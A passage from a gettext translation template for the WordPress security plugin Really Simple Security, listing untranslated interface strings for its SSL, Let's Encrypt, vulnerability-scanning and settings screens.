msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressBlockHeader.js:37
msgid "Progress"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressBlockHeader.js:41
msgid "All tasks"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressBlockHeader.js:45
msgid "Remaining tasks"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/Progress/ProgressBlock.js:41
#: settings/src/Dashboard/Progress/ProgressBlock.js:47
#: settings/src/Dashboard/Progress/ProgressBlock.js:48
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:292
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:296
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:300
#: settings/src/Settings/EventLog/EventLogDataTable.js:103
msgid "Loading..."
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Progress/ProgressFooter.js:14
msgid "SSL"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Dashboard/Progress/ProgressFooter.js:29
#: settings/src/Header.js:54
#: settings/src/Settings/PremiumOverlay.js:9
msgid "Go Pro"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabsHeader.js:7
msgid "Powered by Qualys"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:255
msgid "No test started yet"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:281
msgid "Not available on localhost"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:178
msgid "Cipher strength"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:317
msgid "What does my score mean?"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:326
msgid "Last check:"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabs.js:333
msgid "View detailed report on Qualys SSL Labs"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabsFooter.js:9
msgid "Continue SSL Health check"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/SslLabs/SslLabsFooter.js:10
msgid "Check SSL Health"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:38
msgid "vulnerability"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:38
msgid "vulnerabilities"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:41
msgid "update"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:41
msgid "updates"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:42
msgid "You have %s update pending"
msgid_plural "You have %s updates pending"
msgstr[0] ""
msgstr[1] ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:46
msgid "hardening feature"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:46
msgid "hardening features"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:235
msgid "You have %s open %d"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:245
msgid "Hardening features are configured"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:115
msgid "Enable vulnerability detection"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:187
#: settings/src/Dashboard/Vulnerabilities/Vulnerabilities.js:202
msgid "You have %s %d"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Dashboard/TipsTricks/TipsTricksFooter.js:9
#: settings/src/Header.js:30
msgid "Documentation"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPluginsHeader.js:5
msgid "Other Plugins"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPluginsData.js:75
msgid "Activating..."
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/OtherPlugins/OtherPluginsData.js:76
#: settings/src/Dashboard/OtherPlugins/OtherPluginsData.js:77
msgid "Downloading..."
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/src/Dashboard/DashboardPage.js:47
msgid "Tips & Tricks"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/TaskElement.js:38
msgid "Re-started test"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/439.bfb64c5def4e403805bc.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Dashboard/TaskElement.js:54
#: settings/src/Modal/Modal.js:66
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:98
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:188
msgid "Fix"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RiskData.js:12
msgid "Force update the plugin or theme"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RiskData.js:13
msgid "Isolates the plugin or theme if no update can be performed"
msgstr ""

#: settings/build/43.3e98c0eeb2e262efa304.js:1
#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RiskData.js:118
msgid "Update"
msgstr ""

#: settings/build/439.bfb64c5def4e403805bc.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Modal/Modal.js:63
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:158
msgid "Edit"
msgstr ""

#: settings/build/439.bfb64c5def4e403805bc.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Modal/Modal.js:64
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:169
msgid "Help"
msgstr ""

#: settings/build/439.bfb64c5def4e403805bc.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Modal/Modal.js:65
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:179
msgid "Ignore"
msgstr ""

#: settings/build/483.426b909c845c79e7eec5.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Menu/MenuItem.js:27
#: settings/src/Menu/MenuItem.js:36
msgid "Beta"
msgstr ""

#: settings/build/483.426b909c845c79e7eec5.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Menu/MenuItem.js:28
#: settings/src/Menu/MenuItem.js:37
msgid "New"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/LetsEncrypt/letsEncryptData.js:15
msgid "Switched to Directory"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/LetsEncrypt/letsEncryptData.js:15
msgid "Switched to DNS"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/PremiumOverlay.js:9
msgid "Check license"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/PremiumOverlay.js:14
msgid "Learn more about %sPremium%s"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/SettingsGroup.js:155
msgid "Reset Let's Encrypt"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/SettingsGroup.js:178
msgid "Network feature"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Field.js:169
#: settings/src/Settings/SettingsGroup.js:179
msgid "This feature is only available networkwide."
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Field.js:170
#: settings/src/Settings/SettingsGroup.js:180
msgid "Network settings"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:116
msgid "Save"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:119
msgid "Refresh"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:138
msgid "Previous"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:167
msgid "Expand all"
msgstr ""

#: settings/build/778.60eedd33628297ab6b97.js:1
#: settings/src/Settings/Settings.js:168
msgid "Collapse all"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Steps/StepEmail.js:29
msgid "Your email address"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Steps/StepEmail.js:33
msgid "Include 6 Tips & Tricks to get started with Really Simple Security."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Steps/StepEmail.js:33
msgid "Privacy Statement"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Items/ListItem.js:58
msgid "Override SSL detection."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/Onboarding.js:75
msgid "Fetching next step..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:56
msgid "Starting SSL health scan..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:72
#: settings/src/Onboarding/OnboardingControls.js:134
msgid "Activating options..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:75
msgid "Initializing vulnerability detection..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:77
msgid "Scanning for vulnerabilities..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:81
#: settings/src/Onboarding/OnboardingControls.js:137
msgid "Updating dashboard..."
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:168
msgid "Activate SSL networkwide"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:174
msgid "Install SSL"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:211
msgid "Get 40% off"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:211
msgid "Get Pro"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Onboarding/OnboardingControls.js:220
msgid "Finish"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/src/Onboarding/OnboardingModal.js:33
msgid "Please wait while we detect your setup"
msgstr ""

#: settings/build/814.bf34d42ff1e29e8eb70d.js:1
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Host/Host.js:36
msgid "Optional - Select your hosting provider."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:23
#: settings/src/LetsEncrypt/DnsVerification.js:24
msgid "The challenge directory is used to verify the domain ownership."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:31
msgid "The key directory is needed to store the generated keys."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:31
#: settings/src/LetsEncrypt/Directories.js:39
msgid "By placing it outside the root folder, it is not publicly accessible."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:39
msgid "The certificate will get stored in this directory."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:64
#: settings/src/LetsEncrypt/DnsVerification.js:55
#: settings/src/LetsEncrypt/Installation.js:91
msgid "Next step"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:68
msgid "If you also want to secure subdomains like mail.domain.com, cpanel.domain.com, you have to use the %sDNS%s challenge."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:70
msgid "Please note that auto-renewal with a DNS challenge might not be possible."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:75
msgid "If the challenge directory cannot be created, or is not reachable, you can either remove the server limitation, or change to DNS verification."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:82
#: settings/src/LetsEncrypt/Directories.js:115
msgid "Switch to DNS verification"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:90
msgid "Create a challenge directory"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:93
msgid "Navigate in FTP or File Manager to the root of your WordPress installation:"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:97
msgid "Create a folder called “.well-known”"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:100
msgid "Inside the folder called “.well-known” create a new folder called “acme-challenge”, with 644 writing permissions."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:103
#: settings/src/LetsEncrypt/Directories.js:136
#: settings/src/LetsEncrypt/Directories.js:158
msgid "Click the refresh button."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:107
msgid "Or you can switch to DNS verification"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:109
msgid "If the challenge directory cannot be created, you can either remove the server limitation, or change to DNS verification."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:123
msgid "Create a key directory"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:126
#: settings/src/LetsEncrypt/Directories.js:148
msgid "Navigate in FTP or File Manager to one level above the root of your WordPress installation:"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:130
#: settings/src/LetsEncrypt/Directories.js:152
msgid "Create a folder called “ssl”"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:133
msgid "Inside the folder called “ssl” create a new folder called “keys”, with 644 writing permissions."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:145
msgid "Create a certs directory"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Directories.js:155
msgid "Inside the folder called “ssl” create a new folder called “certs”, with 644 writing permissions."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/DnsVerification.js:56
msgid "Add the following token as text record to your DNS records. We recommend to use a short TTL during installation, in case you need to change it."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/DnsVerification.js:63
msgid "Value"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/DnsVerification.js:76
msgid "DNS verification active. You can switch back to directory verification here."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/DnsVerification.js:81
msgid "Switch to directory verification"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Generation.js:41
msgid "We could not check the DNS records. If you just added the record, please check in a few minutes."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Generation.js:42
msgid "You can manually check the DNS records in an %sonline tool%s."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Generation.js:44
msgid "If you're sure it's set correctly, you can click the button to skip the DNS check."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Generation.js:24
msgid "Skip DNS verification"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Generation.js:50
msgid "Skip DNS check"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:19
msgid "This is the certificate, which you need to install in your hosting dashboard."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:20
#: settings/src/LetsEncrypt/Installation.js:93
msgid "Certificate (CRT)"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:26
msgid "The private key can be uploaded or pasted in the appropriate field on your hosting dashboard."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:27
#: settings/src/LetsEncrypt/Installation.js:98
msgid "Private Key (KEY)"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:33
msgid "The CA Bundle will sometimes be automatically detected. If not, you can use this file."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:34
#: settings/src/LetsEncrypt/Installation.js:102
msgid "Certificate Authority Bundle (CABUNDLE)"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:65
msgid "Copied!"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:87
msgid "The certificate is not generated by Really Simple Security, so there are no installation files here"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:92
msgid "Install your certificate."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/Installation.js:96
#: settings/src/LetsEncrypt/Installation.js:101
#: settings/src/LetsEncrypt/Installation.js:105
msgid "Copy content"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/LetsEncrypt.js:151
msgid "Verifying DNS records..."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/LetsEncrypt/LetsEncrypt.js:292
msgid "Attempt %s."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:204
msgid "No results. Start your first scan"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:205
msgid "Everything is now served over SSL"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:153
#: settings/src/Settings/DynamicDataTable/DynamicDataTable.js:135
#: settings/src/Settings/EventLog/EventLogDataTable.js:224
#: settings/src/Settings/firewall/UserAgentTable.js:259
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:348
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:505
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:401
#: settings/src/Settings/LearningMode/LearningMode.js:275
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:443
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:308
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:273
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:225
#: settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js:126
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:307
msgid "No results"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:231
msgid "Start scan"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:232
msgid "Stop"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/MixedContentScan/MixedContentScan.js:237
msgid "Show ignored URLs"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:230
#: settings/src/Settings/PermissionsPolicy.js:160
msgid "You have selected"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:230
#: settings/src/Settings/PermissionsPolicy.js:160
msgid "rows"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:228
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:325
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:289
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:378
#: settings/src/Settings/PermissionsPolicy.js:171
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:238
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:280
msgid "Reset"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:303
#: settings/src/Settings/PermissionsPolicy.js:191
msgid "Enforce"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:319
#: settings/src/Settings/LearningMode/LearningMode.js:341
#: settings/src/Settings/PermissionsPolicy.js:197
msgid "Enforced"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/PermissionsPolicy.js:198
msgid "Permissions Policy is set outside Really Simple Security."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/PermissionsPolicy.js:199
msgid "Permissions Policy is enforced."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/PermissionsPolicy.js:206
msgid "The Permissions Policy has been disabled."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Support.js:38
msgid "Type your question here"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/ChangeStatus.js:7
#: settings/src/Settings/LearningMode/LearningMode.js:252
msgid "Revoke"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentTable.js:145
#: settings/src/Settings/firewall/UserAgentTable.js:242
#: settings/src/Settings/LearningMode/Delete.js:12
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:195
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:277
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:180
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:251
msgid "Delete"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:147
msgid " The %s is now in report-only mode and will collect directives. This might take a while. Afterwards you can Exit, Edit and Enforce these Directives."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:148
msgid "%s has been disabled."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:149
msgid "%s is enforced."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:151
msgid "%s is already set outside Really Simple Security."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:175
msgid "success"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:175
msgid "failed"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:262
msgid "Remove"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:147
#: settings/src/Settings/EventLog/EventLogDataTable.js:209
#: settings/src/Settings/firewall/UserAgentTable.js:253
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:341
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:498
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:394
#: settings/src/Settings/LearningMode/LearningMode.js:281
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:431
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:294
msgid "Rows per page:"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:148
#: settings/src/Settings/EventLog/EventLogDataTable.js:210
#: settings/src/Settings/firewall/UserAgentTable.js:254
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:342
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:499
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:395
#: settings/src/Settings/LearningMode/LearningMode.js:282
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:432
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:295
msgid "of"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:296
msgid "Error detected"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:297
msgid "%s cannot be implemented due to server limitations. Check your notices for the detected issue."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:312
msgid "Enable Learning Mode to configure automatically"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:321
msgid "Disable to configure"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:326
#: settings/src/Settings/LearningMode/LearningMode.js:333
msgid "Learning Mode"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:328
msgid "Exit"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:334
msgid "We finished the configuration."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:335
msgid "Review the settings and enforce the policy"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RiskComponent.js:85
